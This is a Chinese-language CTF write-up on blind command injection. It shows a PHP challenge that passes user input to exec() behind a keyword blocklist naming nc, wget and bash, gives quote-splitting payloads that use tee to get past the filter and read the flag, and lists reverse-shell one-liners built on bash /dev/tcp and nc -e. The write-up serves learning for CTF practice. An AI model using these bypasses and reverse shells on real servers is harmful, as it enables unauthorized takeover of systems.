遇到無回顯的rce該怎麼辦?
前言
面對rce命令函式的過濾我已習以為常,但這個無回顯的rce讓我懵了許久。今天做題遇到了無回顯的情況,再次,查閱網上資源,趁熱打鐵總結一下怎麼處理無回顯。
開胃菜
先看一道題目,也是我第一次遇見無回顯的RCE(恨自己刷題太少)
<?php highlight_file(__FILE__); if(isset($_GET['url'])) { $url=$_GET['url']; if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url)) { echo "Sorry,you can't use this."; } else { echo "Can you see anything?"; exec($url); } }
題目程式碼很簡單,exec函式執行命令,preg_match函式過濾掉大量命令,我當時用的是scanner函式,命令執行正確或錯誤回顯都是一樣的,沒用。因為第一次遇見這
種情況,我也沒轍。然後看了看師傅的wp,才慢慢清楚。
師傅的一個思路是將輸出結果寫入另一個檔案中。因為平臺是linux環境,構造payload l''s /|tee 1.txt (''用於連線字元,用於繞過過濾函式),進而訪問1.txt可顯示根目錄下的檔案,發現一個flllllaaaaaaggggggg檔案,確信是flag檔案了,繼續構造payload tac /flllll''aaaaaaggggggg|tee 1.txt(cat被過濾了,可以使用tac,當然也可以用拼接符將cat連線起來,過濾函式中過濾了個la,所以要用拼接符拼接)再次訪問1.txt就得到flag了。
處理無回顯
上面講的只是冰山一角,在此總結一下處理無回顯的方法。
反彈shell
其實在無回顯的RCE中,我們輸入的命令是執行了的,只是不給我們顯示出來。我們可以輸入用來反彈shell的命令來拿到對方伺服器的許可權。
我們可以輸入bash -i >& /dev/tcp/ip/port 0>&1
這個命令,通過自己伺服器來對對方伺服器進行查詢,這時候就不會有過濾限制和無回顯的限制了。
就可以盡情的無限制的命令執行了。也可以用nc -e /bin/sh ip port
這條命令。(由於本人還沒有伺服器,演示不了反彈的操作。再者本人並不太瞭解反彈shell
以後再慢慢深入)
重定向
將輸出儲存到檔案中而不是顯示出來。
">" 會將輸出的寫入到一個檔案中,並替換掉這個檔案中原有的內容。
">>" 寫入到一個檔案,並不會替換掉原有內容。
基本格式
command > file.txt
如果你寫的檔案不存在,它會自動生成一個檔案。
command > file.txt 2>&1
將輸出和錯誤資訊也儲存在同一個檔案中。
tee命令
上面的題目就是用這個命令解決無回顯。
標準輸入讀取再寫入標準輸出和檔案中(tee命令詳情百度)
命令格式
command | tee file.txt
同樣的,檔案不存在自動建立。
command | tee -a file.txt
-a引數,增加附加功能。
其他的還有copy對輸出的內容進行復制,壓縮等方法。